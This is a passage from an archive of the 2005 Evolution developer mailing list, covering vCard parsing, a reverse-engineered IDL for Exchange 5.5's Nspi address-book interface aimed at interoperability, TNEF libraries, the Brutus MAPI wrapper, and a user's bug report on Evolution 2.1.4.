X-Mailer: Evolution 2.0.2 Content-Transfer-Encoding: 7bit Sender: evolution-hackers-admin@lists.ximian.com Errors-To: evolution-hackers-admin@lists.ximian.com X-BeenThere: evolution-hackers@lists.ximian.com X-Mailman-Version: 2.0.13 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: People writing code for Evolution List-Unsubscribe: , List-Archive: On Sat, 2005-01-29 at 10:46 +0100, Armin Bauer wrote: > Is there a specific reason e-vcard.c can only parse vcards (besides the > name)? I wanted to use it to parse other stuff as well (like vcal, > vnotes etc), but it only seems to handle vcards even though the BNR of > all is the same: > > contentline = [group "."] name *(";" param ) ":" value CRLF > > Why not implement it as a generic parser that understands the vformat > and implement some more convinient "interfaces" to this parser for the > vcard, vcal and vnote standard that would then handle the specific > stuff? It would be too big a change short-term. But for the long term, a separate library implementing generic v* parsing could be interesting. -- Hans Petter Jansson | Evolution Developer | http://hp.cl.no/ From lkcl@lkcl.net Tue Feb 1 15:08:03 2005 Return-Path: Received: by lists.ximian.com (Postfix, from userid 38) id CFE331241AC; Tue, 1 Feb 2005 15:08:02 -0500 (EST) Received: from open.hands.com (open.hands.com [195.224.53.39]) by lists.ximian.com (Postfix) with ESMTP id E256C1241AC for ; Tue, 1 Feb 2005 15:07:42 -0500 (EST) Received: from lkcl.net (host81-152-13-251.range81-152.btcentralplus.com [81.152.13.251]) by open.hands.com (Postfix) with ESMTP id 4817DBFE1; Tue, 1 Feb 2005 20:07:32 +0000 (GMT) Received: from lkcl by lkcl.net with local (Exim 4.24) id 1Cw4TE-0002bG-Op; Tue, 01 Feb 2005 20:17:56 +0000 Date: Tue, 1 Feb 2005 20:17:56 +0000 From: Luke Kenneth Casson Leighton To: Peter Colijn Cc: evolution-hackers@lists.ximian.com Subject: Re: [Evolution-hackers] Exchange 5.5 - network reverse engineering underway (MAPI, Nspi) Message-ID: <20050201201756.GM5707@lkcl.net> References: <20050201150641.GV5707@lkcl.net> <7c35b00e050201105168b14d75@mail.gmail.com> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <7c35b00e050201105168b14d75@mail.gmail.com> User-Agent: Mutt/1.5.5.1+cvs20040105i X-hands-com-MailScanner: Found to be clean X-MailScanner-From: lkcl@lkcl.net X-Spam-Status: No, hits=-31.2 required=5.0 tests=BAYES_01,EMAIL_ATTRIBUTION,IN_REP_TO,QUOTED_EMAIL_TEXT, QUOTE_TWICE_1,RCVD_IN_NJABL,RCVD_IN_ORBS, RCVD_IN_OSIRUSOFT_COM,REFERENCES,REPLY_WITH_QUOTES, USER_AGENT_MUTT autolearn=ham version=2.53 X-Spam-Level: X-Spam-Checker-Version: SpamAssassin 2.53 (1.174.2.15-2003-03-30-exp) Sender: evolution-hackers-admin@lists.ximian.com Errors-To: evolution-hackers-admin@lists.ximian.com X-BeenThere: evolution-hackers@lists.ximian.com X-Mailman-Version: 2.0.13 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: People writing code for Evolution List-Unsubscribe: , List-Archive: thank you peter! there's yTNEF, there's a debian package called tnef, there's KDE tnef, there's this, that, it's kinda fun :) On Tue, Feb 01, 2005 at 10:51:18AM -0800, Peter Colijn wrote: > Hi Luke, > > You might want to check out WvMapi. You can download it at > http://open.nit.ca/wiki/?DownloadSnapshots (get the > evolution-exchangeit tarball, look for the wvampi subdirectory). > > WvMapi currently supports decoding/encoding TNEFs containing the > attMapiProps attribute, from standard iCalendar and vCard files. It's > under LGPL. > > Have fun, > > Peter > > > On Tue, 1 Feb 2005 15:06:41 +0000, Luke Kenneth Casson Leighton > wrote: > > hi, > > > > i've begun the network-reverse-engineering necessary to interoperating > > with Exchange 5.5 and Outlook. > > > > i have a basic test client and a basic server which is able to return > > hard coded data structures. > > > > the key difference between the present attempt and all previous ones is > > that i have started from FreeDCE not from decoding MSRPC on-wire, so i > > have a 99.5% IDL file (2 actually) which define the interfaces. FreeDCE > > turns that into c code, and it's a matter of filling in the blanks. > > > > unfortunately there are a lot of blanks. _fortunately_, the data > > structures of emsabp.idl (the Nspi interface) are IDENTICAL to those > > used in mapidefs.h - see Wine's include/windows/mapidefs.h > > > > anybody interested in helping out please contact me. > > > > in particular, help with tying in MAPI which is actually MS-TNEF which > > is winmail.dat which is therefore directly relevant to evolution, > > much appreciated. > > > > l. > > > > -- > > -- > > http://lkcl.net > > -- > > > > [ uuid(f5cc5a18-4264-101a-8c59-08002b2f8426), > > version(56.0), > > implicit_handle(handle_t rpc_binding) > > ] interface emsabp > > { > > > > /* this is mostly identical to wine/include/mapidefs.h, > > * up until MAPIERROR, at which point it looks completely > > * unfamiliar and alien. > > * > > * the functions in the IMAPITable only look _vaguely_ > > * familiar but are like, utterly different. > > * really odd. same data structures. different functions. > > * oh well. > > */ > > > > #define PR_ENTRYID 0x0fff0102 > > #define PR_OBJECTID 0xfffd0003 > > #define PR_DISPLAY_NAME 0x3001001e > > #define PT_CONTAINER_FLAGS 0x36000003 /* PCF_ISCONTAINER | PCF_HASCHILDCONTAINER */ > > #define PR_DEPTH 0x30050003 > > #define PR_PARENTENTRYID 0xfffc0102 > > > > typedef unsigned short WCHAR; > > > > typedef struct { > > long element_1; > > long element_2; > > long element_3; > > long element_4; > > long element_5; > > long element_6; > > long element_7; > > long element_8; > > long element_9; > > } EMS_MAPI_UNIDENTIFIED; > > > > typedef struct { > > char ab[16]; > > } MAPIUID; > > > > typedef [context_handle] void *emsabp_hnd_t; > > > > long NspiBind( > > [in] handle_t element_11, > > [in] long element_12, > > [in, ref] EMS_MAPI_UNIDENTIFIED *element_13, > > [in,out, unique] MAPIUID *element_14, > > [out] emsabp_hnd_t *element_15 > > ); > > > > long NspiUnbind( > > [in,out] emsabp_hnd_t *element_16, > > [in] long element_17 > > ); > > > > long NspiUpdateStat( > > [in] emsabp_hnd_t element_18, > > [in] long element_19, > > [in,out, ref] EMS_MAPI_UNIDENTIFIED *element_20, > > [in,out, unique] long *element_21 > > ); > > > > /* typedef [ptr, string] unsigned long *EMS_SPropTagArray;*/ > > > > /* this is probably an SPropTagArray. although it doesn't match > > * up with the definition in wine/includes/mapidefs.h, it also > > * is the data structure i've had the most difficulty with, matching > > * it to on-wire format. > > */ > > typedef struct { > > [unique, length_is(cValues), size_is(cValues)] long *aulPropTag; > > long cValues; > > /*long element_24;*/ > > } EMS_SPropTagArray; > > > > typedef [unique] EMS_SPropTagArray *EMS_LPSPropTagArray ; > > > > typedef struct { > > long cb; > > [size_is(cb), ptr] char *lpb; > > } EMS_SBinary; > > > > typedef struct { > > long dwLowDateTime; > > long dwHighDateTime; > > } EMS_FILETIME; > > > > typedef struct { > > long cValues; > > [size_is(cValues), ptr] short *lpi; > > } EMS_SShortArray; > > > > typedef struct { > > long cValues; > > [size_is(cValues), ptr] long *lpl; > > } EMS_MULTIVALUE_LONG_STRUCT; > > > > typedef struct { > > long cValues; > > [size_is(cValues), ptr] long *lppszA; /* this doesn't look right: should be a LPSTR */ > > } EMS_SLPSTRArray; > > > > typedef struct { > > long cValues; > > [size_is(cValues), ptr] EMS_SBinary *lpbin; > > } EMS_SBinaryArray; > > > > typedef struct { > > long cValues; > > [size_is(cValues), ptr] long *lpguid; /* this doesn't look right: it should be a GUID* */ > > } EMS_SGuidArray; > > > > typedef struct { > > long cValues; > > [size_is(cValues), ptr] long *lpi; /* this doesn't look right: it should be a LPWSTR* */ > > } EMS_MULTIVALUE_UNICODE_STRUCT; > > > > typedef struct { > > long cValues; > > [size_is(cValues), ptr] EMS_FILETIME *lpft; > > } EMS_SDateTimeArray; > > > > typedef [ptr, string] unsigned short *WSTRING; > > typedef [ptr, string] char *STRING; > > > > #define PT_UNSPECIFIED 0x0000 > > #define PT_NULL 0x0001 > > #define PT_I2 0002 > > #define PT_LONG 0003 > > #define PT_R4 0004 > > #define PT_DOUBLE 0x0005 > > #define PT_CURRENCY 0x0006 > > #define PT_APPTIME 0x0007 > > /*#define PT_CLSID 0x0008 */ > > #define PT_ERROR 0x000a > > /* > > means in a response package, that the given attribute contains no value, > > or not exists. > > -> So it won't be contained in the enumeration of the attrib. values array. > > */ > > #define PT_BOOLEAN 0x000b > > #define PT_OBJECT 0x000d > > #define PT_I8 0x0014 > > #define PT_STRING8 0x001e > > #define PT_UNICODE 0x001f > > #define PT_SYSTIME 0x0040 > > #define PT_CLSID 0x0048 > > #define PT_BINARY 0x0102 /*(the corresponding ???HDR entry is 4 bytes longer in this case!) 1??? */ > > > > /* MV means MultiValued*/ > > #define PT_MV_I2 0x1002 > > #define PT_MV_LONG 0x1003 > > #define PT_MV_R4 0x1004 > > #define PT_MV_DOUBLE 0x1005 > > #define PT_MV_CURRENCY 0x1006 > > #define PT_MV_APPTIME 0x1007 > > #define PT_MV_I8 0x1014 > > #define PT_MV_STRING8 0x101e > > #define PT_MV_TSTRING 0x101e > > #define PT_MV_UNICODE 0x101f > > #define PT_MV_SYSTIME 0x1040 > > #define PT_MV_CLSID 0x1048 > > #define PT_MV_BINARY 0x1102 > > > > typedef [switch_type(long)] union { > > [case(PT_I2)] short i; > > [case(PT_LONG)] long l; > > [case(PT_BOOLEAN)] short b; > > [case(PT_STRING8)] STRING lpszA; > > [case(PT_BINARY)] EMS_SBinary bin; > > [case(PT_UNICODE)] WSTRING lpszW; > > [case(PT_CLSID), ptr] MAPIUID *lpguid; > > [case(PT_SYSTIME)] EMS_FILETIME ft; > > [case(PT_ERROR)] long err; > > [case(PT_MV_I2)] EMS_SShortArray MVi; > > [case(PT_MV_LONG)] EMS_MULTIVALUE_LONG_STRUCT MVl; > > [case(PT_MV_STRING8)] EMS_SLPSTRArray MVszA; > > [case(PT_MV_BINARY)] EMS_SBinaryArray MVbin; > > [case(PT_MV_CLSID)] EMS_SGuidArray MVguid; > > [case(PT_MV_UNICODE)] EMS_MULTIVALUE_UNICODE_STRUCT MVszW; > > [case(PT_MV_SYSTIME)] EMS_SDateTimeArray MVft; > > [case(PT_NULL)] long null; > > [case(PT_OBJECT)] long object; > > } EMS_SPropValue_CTR; > > > > typedef struct { > > long ulPropTag; > > long dwAlignPad; > > [switch_is(ulPropTag)] EMS_SPropValue_CTR Value; > > } EMS_SPropValue; > > > > typedef struct { > > long ulAdrEntryPad; > > long cValues; > > [size_is(cValues), unique] EMS_SPropValue *lpProps; > > } EMS_SRow; > > > > typedef [unique] EMS_SRow *EMS_SRow_PTR ; > > > > typedef struct { > > long cRows; > > [size_is(cRows)] EMS_SRow aRow[*]; > > } EMS_SRowSet; > > > > typedef [unique] EMS_SRowSet *EMS_SRowSet_PTR ; > > > > long NspiQueryRows( > > [in] emsabp_hnd_t element_69, > > [in] long element_70, > > [in,out, ref] EMS_MAPI_UNIDENTIFIED *element_71, > > [in] long lRows, > > [in, size_is(lRows), unique] long *element_73, > > [in] long element_74, > > [in, ref] EMS_SPropTagArray *element_75, > > [out, ref] EMS_SRowSet_PTR *element_76 > > ); > > > > long NspiSeekEntries( > > [in] emsabp_hnd_t element_77, > > [in] long element_78, > > [in,out, ref] EMS_MAPI_UNIDENTIFIED *element_79, > > [in, ref] EMS_SPropValue *element_80, > > [in, unique] EMS_SPropTagArray *element_81, > > [in, unique] EMS_SPropTagArray *element_82, > > [out, ref] EMS_SRowSet_PTR *element_83 > > ); > > > > typedef [ptr] struct _SRestriction *LPSRestriction; > > > > typedef struct { > > long cRes; > > [size_is(cRes)] LPSRestriction lpRes; > > } EMS_SAndRestriction; > > > > typedef struct { > > long cRes; > > [size_is(cRes)] LPSRestriction lpRes; > > } EMS_SOrRestriction; > > > > typedef struct { > > /* ULONG ulReserved - perhaps an [ignore] property on this one? */ > > LPSRestriction lpRes; > > } EMS_SNotRestriction; > > > > typedef struct { > > long ulFuzzyLevel; > > long ulPropTag; > > [ptr] EMS_SPropValue *lpProp; > > } EMS_SContentRestriction; > > > > typedef struct { > > long relop; > > long ulPropTag; > > [ptr] EMS_SPropValue *lpProp; > > } EMS_SPropertyRestriction; > > > > typedef struct { > > long ulReserved1; > > long ulPropTag; > > long ulReserved2; > > } EMS_SExistRestriction; > > > > typedef struct { > > long relop; > > long ulPropTag; > > long cb; > > } EMS_SSizeRestriction; > > > > typedef struct { > > long relBMR; > > long ulPropTag; > > long ulMask; > > } EMS_SBitMaskRestriction; > > > > typedef struct { > > long relop; > > long ulPropTag1; > > long ulPropTag2; > > } EMS_SComparePropsRestriction; > > > > typedef struct { > > long ulSubObject; > > LPSRestriction lpRes; > > } EMS_SSubRestriction; > > > > typedef struct { > > [unique] MAPIUID *lpguid; > > long ulKind; > > long lID; /* this is actually a union in mapidefs.h */ > > } EMS_MAPINAMEID; > > > > /* Restriction types */ > > #define RES_AND 0U > > #define RES_OR 1U > > #define RES_NOT 2U > > #define RES_CONTENT 3U > > #define RES_PROPERTY 4U > > #define RES_COMPAREPROPS 5U > > #define RES_BITMASK 6U > > #define RES_SIZE 7U > > #define RES_EXIST 8U > > #define RES_SUBRESTRICTION 9U > > #define RES_COMMENT 10U > > > > typedef [switch_type(long)] union { > > [case(RES_AND) ] EMS_SAndRestriction resAnd; > > [case(RES_OR) ] EMS_SOrRestriction resOr; > > [case(RES_NOT) ] EMS_SNotRestriction resNot; > > [case(RES_CONTENT) ] EMS_SContentRestriction resContent; > > [case(RES_PROPERTY) ] EMS_SPropertyRestriction resProperty; > > [case(RES_COMPAREPROPS) ] EMS_SComparePropsRestriction resCompareProps; > > [case(RES_BITMASK) ] EMS_SBitMaskRestriction resBitMask; > > [case(RES_SUBRESTRICTION)] EMS_SSubRestriction resSub; > > [case(RES_SIZE) ] EMS_SSizeRestriction resSize; > > [case(RES_EXIST) ] EMS_SExistRestriction resExist; > > /* case SCommentRestriction is missing! */ > > } EMS_SRestriction_CTR; > > > > typedef struct _SRestriction { > > long rt; > > [switch_is(rt)] EMS_SRestriction_CTR res; > > } EMS_SRestriction; > > > > long NspiGetMatches( > > [in] emsabp_hnd_t element_110, > > [in] long element_111, > > [in,out, ref] EMS_MAPI_UNIDENTIFIED *element_112, > > [in, unique] EMS_SPropTagArray *element_113, > > [in] long element_114, > > [in, unique] EMS_SRestriction *element_115, > > [in, unique] EMS_MAPINAMEID *element_116, > > [in] long element_117, > > [out, ref] EMS_SPropTagArray *element_118, > > [in, ref] EMS_SPropTagArray *element_119, > > [out, ref] EMS_SRowSet_PTR *element_120 > > ); > > > > long NspiResortRestriction( > > [in] emsabp_hnd_t element_121, > > [in] long element_122, > > [in,out, ref] EMS_MAPI_UNIDENTIFIED *element_123, > > [in, ref] EMS_SPropTagArray *element_124, > > [in,out, ref] EMS_LPSPropTagArray *element_125 > > ); > > > > typedef struct { > > long element_126; > > [unique, string] char *element_127; > > } EMS_NAME_STRING; > > > > long NspiDNToEph( > > [in] emsabp_hnd_t element_128, > > [in] long element_129, > > [in, ref] EMS_NAME_STRING *element_130, > > [out, ref] EMS_SPropTagArray *element_131 > > ); > > > > long NspiGetPropList( > > [in] emsabp_hnd_t element_132, > > [in] long element_133, > > [in] long element_134, > > [in] long element_135, > > [out, ref] EMS_LPSPropTagArray *element_136 > > ); > > > > long NspiGetProps( > > [in] emsabp_hnd_t element_137, > > [in] long element_138, > > [in, ref] EMS_MAPI_UNIDENTIFIED *element_139, > > [in, unique] EMS_SPropTagArray *element_140, > > [out, ref] EMS_SRow_PTR *element_141 > > ); > > > > long NspiCompareDNTs( > > [in] emsabp_hnd_t element_142, > > [in] long element_143, > > [in, ref] EMS_MAPI_UNIDENTIFIED *element_144, > > [in] long element_145, > > [in] long element_146, > > [out, ref] long *element_147 > > ); > > > > long NspiModProps( > > [in] emsabp_hnd_t element_148, > > [in] long element_149, > > [in, ref] EMS_MAPI_UNIDENTIFIED *element_150, > > [in, unique] EMS_SPropTagArray *element_151, > > [in, ref] EMS_SRow *element_152 > > ); > > > > long NspiGetHierarchyInfo( > > [in] emsabp_hnd_t element_153, > > [in] long element_154, > > [in, ref] EMS_MAPI_UNIDENTIFIED *element_155, > > [in,out, ref] long *element_156, > > [out, ref] EMS_SRowSet_PTR *element_157 > > ); > > > > long NspiGetTemplateInfo( > > [in] emsabp_hnd_t element_158, > > [in] long element_159, > > [in] long element_160, > > [in, unique, string] char *element_161, > > [in] long element_162, > > [in] long element_163, > > [out, ref] EMS_SRow_PTR *element_164 > > ); > > > > long NspiModLInkAtt( > > [in] emsabp_hnd_t element_165, > > [in] long element_166, > > [in] long element_167, > > [in] long element_168, > > [in, ref] EMS_SBinaryArray *element_169 > > ); > > > > long NspiDeleteEntries( > > [in] emsabp_hnd_t element_170, > > [in] long element_171, > > [in] long element_172, > > [in, ref] EMS_SBinaryArray *element_173 > > ); > > > > long NspiQueryColumns( > > [in] emsabp_hnd_t element_174, > > [in] long element_175, > > [in] long element_176, > > [out, ref] EMS_LPSPropTagArray *element_177 > > ); > > > > typedef struct { > > long element_178; > > [unique] MAPIUID *element_179; > > } EMS_NAME_CLSID; > > > > typedef [ptr] EMS_NAME_CLSID *EMS_NAME_CLSID_PTR; > > > > long NspiGetNamesFromIDs( > > [in] emsabp_hnd_t element_180, > > [in] long element_181, > > [in, unique] MAPIUID *element_182, > > [in, unique] EMS_SPropTagArray *element_183, > > [out, ref] EMS_LPSPropTagArray *element_184, > > [out, ref] EMS_NAME_CLSID_PTR *element_185 > > ); > > > > long NspiGetIDsFromNames( > > [in] emsabp_hnd_t element_186, > > [in] long element_187, > > [in] long element_188, > > [in] long element_189, > > [in, size_is(element_189), ref] long *element_190, > > [out, ref] EMS_LPSPropTagArray *element_191 > > ); > > > > long NspiResolveNames( > > [in] emsabp_hnd_t element_192, > > [in] long element_193, > > [in, ref] EMS_MAPI_UNIDENTIFIED *element_194, > > [in, unique] EMS_SPropTagArray *element_195, > > [in, ref] EMS_NAME_STRING *element_196, > > [out, ref] EMS_LPSPropTagArray *element_197, > > [out, ref] EMS_SRowSet_PTR *element_198 > > ); > > > > typedef struct { > > long element_199; > > [unique, string] WCHAR *element_200; > > } EMS_NAME_UNICODE; > > > > long NspiResolveNamesW( > > [in] emsabp_hnd_t element_201, > > [in] long element_202, > > [in, ref] EMS_MAPI_UNIDENTIFIED *element_203, > > [in, unique] EMS_SPropTagArray *element_204, > > [in, ref] EMS_NAME_UNICODE *element_205, > > [out, ref] EMS_LPSPropTagArray *element_206, > > [out, ref] EMS_SRowSet_PTR *element_207 > > ); > > > > } > > > > _______________________________________________ > > evolution-hackers maillist - evolution-hackers@lists.ximian.com > > http://lists.ximian.com/mailman/listinfo/evolution-hackers > > -- -- http://lkcl.net -- From lkcl@lkcl.net Tue Feb 1 15:05:48 2005 Return-Path: Received: by lists.ximian.com (Postfix, from userid 38) id B1123125553; Tue, 1 Feb 2005 15:05:48 -0500 (EST) Received: from open.hands.com (open.hands.com [195.224.53.39]) by lists.ximian.com (Postfix) with ESMTP id 20879125557 for ; Tue, 1 Feb 2005 15:05:33 -0500 (EST) Received: from lkcl.net (host81-152-13-251.range81-152.btcentralplus.com [81.152.13.251]) by open.hands.com (Postfix) with ESMTP id B1ED8BFE1; Tue, 1 Feb 2005 20:05:23 +0000 (GMT) Received: from lkcl by lkcl.net with local (Exim 4.24) id 1Cw4RA-0002am-9A; Tue, 01 Feb 2005 20:15:48 +0000 Date: Tue, 1 Feb 2005 20:15:48 +0000 From: Luke Kenneth Casson Leighton To: Jules Colding Cc: Evolution Hackers Subject: Re: [Evolution-hackers] Exchange 5.5 - network reverse engineering underway (MAPI, Nspi) Message-ID: <20050201201548.GL5707@lkcl.net> References: <20050201150641.GV5707@lkcl.net> <1107284298.6737.6.camel@localhost.localdomain> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <1107284298.6737.6.camel@localhost.localdomain> User-Agent: Mutt/1.5.5.1+cvs20040105i X-hands-com-MailScanner: Found to be clean X-MailScanner-From: lkcl@lkcl.net X-Spam-Status: No, hits=-20.8 required=5.0 tests=EMAIL_ATTRIBUTION,IN_REP_TO,RCVD_IN_NJABL,RCVD_IN_ORBS, RCVD_IN_OSIRUSOFT_COM,REFERENCES,REPLY_WITH_QUOTES, USER_AGENT_MUTT autolearn=ham version=2.53 X-Spam-Level: X-Spam-Checker-Version: SpamAssassin 2.53 (1.174.2.15-2003-03-30-exp) Sender: evolution-hackers-admin@lists.ximian.com Errors-To: evolution-hackers-admin@lists.ximian.com X-BeenThere: evolution-hackers@lists.ximian.com X-Mailman-Version: 2.0.13 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: People writing code for Evolution List-Unsubscribe: , List-Archive: On Tue, Feb 01, 2005 at 07:58:18PM +0100, Jules Colding wrote: > Hi, > > Why dont you use MAPI directly in Evolution? with due respect - not a chance. i'm interested only in taking EVERY customer of microsoft's away, not just the ones that will be able to convince management to run a third party non-microsoft-sanctioned plugin into their mission-critical known-to-be-bloody-unreliable company's exchange server infrastructure. > Well not MAPI itself, but > the CORBA wrapper for MAPI (www.omesc.com). ooooooo :) let's find OUT! what i am looking for is a similarity between the functions i'm implementing and something in brutus... hmm.... NT_Service/servant_impl/IMsgStureS_impl.cpp looks hopeful... ah ha! this looks familiar: SPropTagArray *tags = NULL; hr = msg_store_->GetProps(tags, flags, &count, &props); SPropTagArray is present in that Nspi IDL file i sent. hmmm... okay.... okay. brutus is basically a proxy server. it therefore has a server front-end (in a documented format) and a client back-end (fronting into MAPI). therefore, whilst it is useful to aid understanding of what is going on, it is not entirely suitable for what i am looking for. if brutus also claimed to have alternative back-ends, implemented at the MAPI interface layer, _then_ it would be suitable, because i could take that code and place it behind the Nspi and the EMSMDB interfaces , and run Outlook 2000 - unmodified - and have it talk to a complete free software exchange 5.5 compatible server. that's my goal. instead, i have found something called otlkcon which implements on the _client_ side a "replacement" for the MAPI api - sort-of. outlook clients still talk "mapi" via this MAPI store plugin, so it implements a MAPI store, and off it goes. i'm hoping to understand enough of this stuff at some point in order to be able to have a hope of blatting a few pieces from some of the plethora of projects around... l. From jpr@novell.com Tue Feb 1 20:17:10 2005 Return-Path: Received: by lists.ximian.com (Postfix, from userid 38) id 7B990124170; Tue, 1 Feb 2005 20:17:09 -0500 (EST) Received: from lyle.provo.novell.com (lyle.provo.novell.com [137.65.81.174]) (using TLSv1 with cipher EDH-RSA-DES-CBC3-SHA (168/168 bits)) (Client CN "imap.novell.com", Issuer "SERVICES2" (not verified)) by lists.ximian.com (Postfix) with ESMTP id 32FCB12405B for ; Tue, 1 Feb 2005 20:17:06 -0500 (EST) Received: from [192.168.1.15] ([137.65.81.216]) by lyle.provo.novell.com; Tue, 01 Feb 2005 18:16:50 -0700 Subject: Re: [Evolution-hackers] Exchange 5.5 - network reverse engineering underway (MAPI, Nspi) From: JP Rosevear To: Jules Colding Cc: Luke Kenneth Casson Leighton , Evolution Hackers In-Reply-To: <1107284298.6737.6.camel@localhost.localdomain> References: <20050201150641.GV5707@lkcl.net> <1107284298.6737.6.camel@localhost.localdomain> Content-Type: text/plain Date: Tue, 01 Feb 2005 20:16:47 -0500 Message-Id: <1107307007.17674.3.camel@bishop.rosevear.com> Mime-Version: 1.0 X-Mailer: Evolution 2.1.4 Content-Transfer-Encoding: 7bit Sender: evolution-hackers-admin@lists.ximian.com Errors-To: evolution-hackers-admin@lists.ximian.com X-BeenThere: evolution-hackers@lists.ximian.com X-Mailman-Version: 2.0.13 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: People writing code for Evolution List-Unsubscribe: , List-Archive: On Tue, 2005-02-01 at 19:58 +0100, Jules Colding wrote: > Hi, > > Why dont you use MAPI directly in Evolution? Well not MAPI itself, but > the CORBA wrapper for MAPI (www.omesc.com). Well reason one is I hadn't heard of it until now :-). Reason two might be this comment from the evolution plugin skeleton in the brutus download: A Brutus server must be running on the Windows side if you want to use this plugin. Please see for the details. This makes it sound like you need a mapi implementation on a windows box somewhere. -JP -- JP Rosevear From pcolijn@gmail.com Tue Feb 1 16:27:35 2005 Return-Path: Received: by lists.ximian.com (Postfix, from userid 38) id 4F14512417D; Tue, 1 Feb 2005 16:27:35 -0500 (EST) Received: from wproxy.gmail.com (wproxy.gmail.com [64.233.184.201]) by lists.ximian.com (Postfix) with ESMTP id 1D57C1240FC for ; Tue, 1 Feb 2005 16:27:32 -0500 (EST) Received: by wproxy.gmail.com with SMTP id 58so441381wri for ; Tue, 01 Feb 2005 13:27:28 -0800 (PST) DomainKey-Signature: a=rsa-sha1; q=dns; c=nofws; s=beta; d=gmail.com; h=received:message-id:date:from:reply-to:to:subject:cc:in-reply-to:mime-version:content-type:content-transfer-encoding:references; b=c/PVFPliXUcX4UwarOcFNb5nRE24sPfovgbkgX2mJ5MXXK5tCg5hik06oa4YC5svgSiTot8E4pzw9zlvmxmXzML5KDNw3JnNvw6A/AMgB8HEgGrTBPVSpREuIn3l65CModfcrBMvmSISp4VuwF4fUG6CswktI3k1yKNgNYq093o= Received: by 10.54.39.17 with SMTP id m17mr314525wrm; Tue, 01 Feb 2005 13:27:28 -0800 (PST) Received: by 10.54.54.67 with HTTP; Tue, 1 Feb 2005 13:27:27 -0800 (PST) Message-ID: <7c35b00e05020113275f998982@mail.gmail.com> Date: Tue, 1 Feb 2005 13:27:27 -0800 From: Peter Colijn Reply-To: Peter Colijn To: Luke Kenneth Casson Leighton Subject: Re: [Evolution-hackers] Exchange 5.5 - network reverse engineering underway (MAPI, Nspi) Cc: evolution-hackers@lists.ximian.com In-Reply-To: <20050201201756.GM5707@lkcl.net> Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit References: <20050201150641.GV5707@lkcl.net> <7c35b00e050201105168b14d75@mail.gmail.com> <20050201201756.GM5707@lkcl.net> Sender: evolution-hackers-admin@lists.ximian.com Errors-To: evolution-hackers-admin@lists.ximian.com X-BeenThere: evolution-hackers@lists.ximian.com X-Mailman-Version: 2.0.13 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: People writing code for Evolution List-Unsubscribe: , List-Archive: Yeah, there are a lot of TNEF parsers :) As far as I know, WvMapi is one of the rare libraries that can actually encode TNEFs for you, as well as extracting data from them. Have fun, Peter On Tue, 1 Feb 2005 20:17:56 +0000, Luke Kenneth Casson Leighton wrote: > thank you peter! > > there's yTNEF, there's a debian package called tnef, there's KDE tnef, > there's this, that, it's kinda fun :) From w.murray@rl.ac.uk Tue Feb 1 17:28:45 2005 Return-Path: Received: by lists.ximian.com (Postfix, from userid 38) id EA0DF1241DB; Tue, 1 Feb 2005 17:28:45 -0500 (EST) Received: from nori.rl.ac.uk (nori.rl.ac.uk [130.246.135.154]) (using TLSv1 with cipher EDH-RSA-DES-CBC3-SHA (168/168 bits)) (Client did not present a certificate) by lists.ximian.com (Postfix) with ESMTP id A09701241C1 for ; Tue, 1 Feb 2005 17:28:42 -0500 (EST) X-RAL-MFrom: X-RAL-Connect: Received: from [168.254.0.250] (ACBFECA1.ipt.aol.com [172.191.236.161]) (authenticated bits=0) by nori.rl.ac.uk (8.12.8/8.12.8) with ESMTP id j11MNvrw016887 (version=TLSv1/SSLv3 cipher=RC4-MD5 bits=128 verify=NO); Tue, 1 Feb 2005 22:28:33 GMT From: William John Murray To: evolution-hackers@lists.ximian.com In-Reply-To: <1106933217.9069.2.camel@heplnw8> References: <1106933217.9069.2.camel@heplnw8> Content-Type: text/plain Organization: CCLRC Date: Tue, 01 Feb 2005 22:23:51 +0000 Message-Id: <1107296631.6815.6.camel@wjmurray> Mime-Version: 1.0 X-Mailer: Evolution 2.1.4 Content-Transfer-Encoding: 7bit X-CCLRC-SPAM-report: 0.626 : RCVD_IN_NJABL,RCVD_IN_NJABL_DIALUP,RCVD_IN_SORBS X-Scanned-By: MIMEDefang 2.39 Subject: [Evolution-hackers] 3 issues with 2.1.4 Sender: evolution-hackers-admin@lists.ximian.com Errors-To: evolution-hackers-admin@lists.ximian.com X-BeenThere: evolution-hackers@lists.ximian.com X-Mailman-Version: 2.0.13 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: People writing code for Evolution List-Unsubscribe: , List-Archive: Hello there, Evo 2.1.4 is great with connector; 2.1.3 worked but this is much more stable. But, there are still some issues... 1) Hang on editing a contact on the exchange server I can copy a complete contact, but every attempt to edit one causes an instant hang, not of the whole code, just of the edit window. E2k_DEBUG produces no output. This is with ssl/forms, happens every time 2) Old Settings in gconfd: I spent a long time trying setting with old evo, and my ldap server acount machine name was wrong. So although I could edit the machine no. with preferences, the owa host stored in gconfd pointed to the wrong machine. These gconfd settings are a nuisance - can they not be re-written whenever anything is changed? If not, document them! 3) 10' startup times Sometimes it gets messed up, and has to be re-started. One some of these occasions (and this is really hard to pin down) evolution takes about 10 minutes to start. Really. What is it up to?!? Seriously though, this version is much better; I can really work using it, rather than work on it! Bill From notzed@ximian.com Tue Feb 1 22:06:18 2005 Return-Path: Received: by lists.ximian.com (Postfix, from userid 38) id 3DCF9124955; Tue, 1 Feb 2005 22:06:18 -0500 (EST) Received: from peabody.ximian.com (peabody.ximian.com [130.57.169.10]) (using TLSv1 with cipher EDH-RSA-DES-CBC3-SHA (168/168 bits)) (Client did not present a certificate) by lists.ximian.com (Postfix) with ESMTP id 192F91248B3 for ; Tue, 1 Feb 2005 22:06:15 -0500 (EST) Received: (qmail 20820 invoked from network); 2 Feb 2005 03:06:13 -0000 Received: from localhost (HELO ?192.168.0.100?) (127.0.0.1) by localhost with SMTP; 2 Feb 2005 03:06:13 -0000 Subject: Re: [Evolution-hackers] Re: [evolution-patches] patch for #36142: Don't use acronyms as verbs in messages (camel-gpg-context.c) From: Not Zed To: Jorge Bernal Cc: evolution-hackers@lists.ximian.com, evolution-patches In-Reply-To: <200501312053.36697.koke@amedias.org> References: <200501241907.02376.koke@amedias.org> 